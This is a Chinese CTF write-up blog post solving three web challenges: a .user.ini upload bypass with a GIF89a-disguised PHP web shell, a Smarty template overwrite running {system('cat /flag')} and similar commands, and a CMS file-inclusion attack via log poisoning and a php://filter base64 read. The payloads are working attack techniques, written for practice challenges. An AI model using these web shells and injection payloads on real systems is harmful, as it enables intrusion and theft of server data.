CTF Week9 WP
Check in
根据提示,需要上传一个.user.ini
文件,通过index.php
以加载所上传的内容.
由于上传时添加了图片验证机制,而且不能上传以php
类型为后缀的文件,因此需要在上传的文件头添加关于图片类型的文本,如GIF189a
.
.user.ini
文件内容为自动将图片文件解析为php
;
点击查看代码
GIF89a
auto_append_file="a.gif"
a.gif
文件内容为shell代码.
点击查看代码
GIF89a
<?php
echo shell_exec("cat /flag")
?>
来源:题库
odd_upload
这个题是模板注入,容易发现该页面使用的是Smarty
模板引擎. 由于禁止上传与php
有关后缀的任何文件,而且可以将一个文件上传到任何位置,所以可尝试通过上传文件覆盖模板以执行我们需要的php
代码.
上网查询发现模板文件为index.tpl
,因此只要上传该文件名的文件来覆盖它即可.
文件名:index.tpl
保存路径:./templates/
文件内容:
点击查看代码
{system('ls /')}
{system('cat /flag')}
{system('env')}
{phpinfo()}
{config_load file="test.conf" section="setup"}
{include file="header.tpl" title=foo}
<PRE>
{* bold and title are read from the config file *}
{if #bold#}<b>{/if}
{* capitalize the first letters of each word of the title *}
Title: {#title#|capitalize}
{if #bold#}</b>{/if}
The current date and time is {$smarty.now|date_format:"%Y-%m-%d %H:%M:%S"}
The value of global assigned variable $SCRIPT_NAME is {$SCRIPT_NAME}
Example of accessing server environment variable SERVER_NAME: {$smarty.server.SERVER_NAME}
The value of {ldelim}$Name{rdelim} is <b>{$Name}</b>
variable modifier example of {ldelim}$Name|upper{rdelim}
<b>{$Name|upper}</b>
An example of a section loop:
{section name=outer
loop=$FirstName}
{if $smarty.section.outer.index is odd by 2}
{$smarty.section.outer.rownum} . {$FirstName[outer]} {$LastName[outer]}
{else}
{$smarty.section.outer.rownum} * {$FirstName[outer]} {$LastName[outer]}
{/if}
{sectionelse}
none
{/section}
An example of section looped key values:
{section name=sec1 loop=$contacts}
phone: {$contacts[sec1].phone}
<br>
fax: {$contacts[sec1].fax}
<br>
cell: {$contacts[sec1].cell}
<br>
{/section}
<p>
testing strip tags
{strip}
<table border=0>
<tr>
<td>
<A HREF="{$SCRIPT_NAME}">
<font color="red">This is a test </font>
</A>
</td>
</tr>
</table>
{/strip}
</PRE>
This is an example of the html_select_date function:
<form>
{html_select_date start_year=1998 end_year=2010}
</form>
This is an example of the html_select_time function:
<form>
{html_select_time use_24_hours=false}
</form>
This is an example of the html_options function:
<form>
<select name=states>
{html_options values=$option_values selected=$option_selected output=$option_output}
</select>
</form>
{include file="footer.tpl"}
来源:题库
ez_cms
用dirsearch
扫描之后发现robots.txt
,然后跟进h1nt.php
,找到/db/user.db3
,使用工具打开后发现登录账户密码:
密码是哈希过的,进行一下解密得到密码是attack
.
发现了显示头像的请求地址为showImage.php
,因此可以想到php
的文件包含漏洞.
如何写入文件?发现登录时发送的请求数据里含一个值t
,尝试利用这个参数.
通过不传参打开了showImage.php
的源码,发现一个hint.php
被过滤,用伪协议+编码的方式打开它,是一个目录树,其中有一个文件admin.php
,利用showImage.php
读一下这个文件的内容. 不难发现这里传的t
是上次登录时间,而且它被写入到一个名为lastTime.txt
的文件里.
然后再次登录,t
那里传一个php
代码,再次利用showImage.php
读取登录日志文件,即可获得文件名flagg
和文件内容.
注意读文件的时候要用伪协议,而且关键词有过滤,用html编码一下就可以了.
php://filter/conv%65rt.bas%6564-%65ncode/resource=cache/lastTime.txt
来源:题库
--END--
我的博客: 𝟷𝙻𝚒𝚞
本文链接: https://www.cnblogs.com/AC1Liu/p/18521609
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!